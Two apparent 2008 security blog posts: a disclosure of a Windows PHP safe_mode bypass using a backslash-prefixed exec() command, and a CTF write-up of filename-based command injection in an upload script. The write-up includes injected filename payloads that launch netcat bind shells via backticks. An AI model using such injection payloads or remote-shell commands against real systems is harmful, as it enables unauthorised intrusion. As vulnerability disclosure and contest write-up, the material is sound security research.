October 14, 2008
About 3 month ago I came across a bug while playing with PHP commands on command line. I was investigating a php execution vulnerability in one of the Cipher4 CTF services where an attacker could execute PHP commands remotely. To quickly fix the issue and not break the service I was going to turn the safe_mode=on for this particular call. For my testings I used the following options:
-n No php.ini file will be used
-d foo[=bar] Define INI entry foo with value ‘bar’
-r Run PHP without using script tags <?..?>
A local test on my windows box with PHP 4.4.1:
C:\Dokumente und Einstellungen\Reiners>php -n -d safe_mode=on -r “exec(‘calc’);”
The command “/calc” is either misspelled or could not be found.
Now the slash infront of the command was really confusing. It looks like all the safe_mode is doing to prevent the command being executed is to add a slash infront of the command. After playing a bit more I found out that this can be circumvented by adding a backslash infront of your command.
C:\Dokumente und Einstellungen\Reiners1>php -n -d safe_mode=on -r “exec(‘\calc’);”
Voila, the calculator pops up and we have successfully bypassed the safe_mode. This works with the latest Version of PHP 4 and PHP 5 and of course in webapplications too.
<?php exec('\calc'); ?>
Note, that for some reasons you will not get the error message at the latest versions, but the code is executed anyhow. Furthermore, this only works with the functions exec(), system() and passthru() and only on Windows! I havent stepped through all the PHP source, but it seems to me that this bug has something to do with the path seperator on windows and the call of escapeshellcmd() and can not be used on unix enviroments.
I have reported this issue 3 month ago by several emails and decided to post it at the bugsystem over here 1 month ago after I got no response. Until today, there was no response at the bugsystem too so I’m putting it on my tiny blog. Lets see what happens
As it is well known anyway: don’t trust the PHP safe_mode.
Finally after about 1 year they patched this bug. Thanks to Stefan Esser!
May 26, 2008
While chatting with some guys at the OWASP AppSecEU 08 I noticed that backticks are oftenly overlooked in PHP. I came across backticks myself just some time ago while researching vulnerable functions on php.net for my PHP Scanner and found this entry. So you can use something like
$foo = `command here`;
to execute OS commands just like using system, shell_exec and what have you. This was absolutely new to me, although I’ve been working with PHP for quite a while and can be easily overlooked when reviewing code or filtering on mentioned functions (which is an bad idea anyway ;))
While talking about backticks I remembered a quite interesting security hole given on the UCSB CTF 07 (in the service “copyright” for those of you who participated or want to have a shot at the image). The service allowed to upload files and the relevant PHP code looked like the following:
$target_path = "../../uploads/". basename( $_FILES['file']['name']);
$command = "cp ".escapeshellarg($_FILES['file']['tmp_name'])." ".$target_path;
exec($command, $out, $ret);
If you take a closer look at the code you will see that you can execute code by naming the file you are going to upload to something like
since “;” are allowed in filenames and will add a new command after the cp command gets executed. The problem was that we needed slashes in our filename to execute “foo;nc -l -p 2222 -e /bin/bash” or copy some interesting files to the webdir with “../../../../var/www/Site”. Obviously you cant rename your file containing a slash or craft such a request because its still handled as a file by PHP and slashes would be dealed as directorys. Now my mate Freddy had the idea to use backticks again, because they work at the command line just like in PHP to execute commands and return their output:
foo;nc -l -p 2222 -e `nc -l -p 3333`
This code will wait for something passed on port 3333 and then execute the rest of it. So we connect to port 3333, enter
/bin/bash and will finally get a remote shell.
As we figured out afterwards this was a fairly stupid workaround for just using
nc -l -p 2222 -e `which bash`, but was plain fun anyway during the contest.
Interesting to note is also that backticks on commandline work in double quotes, but not in single quotes.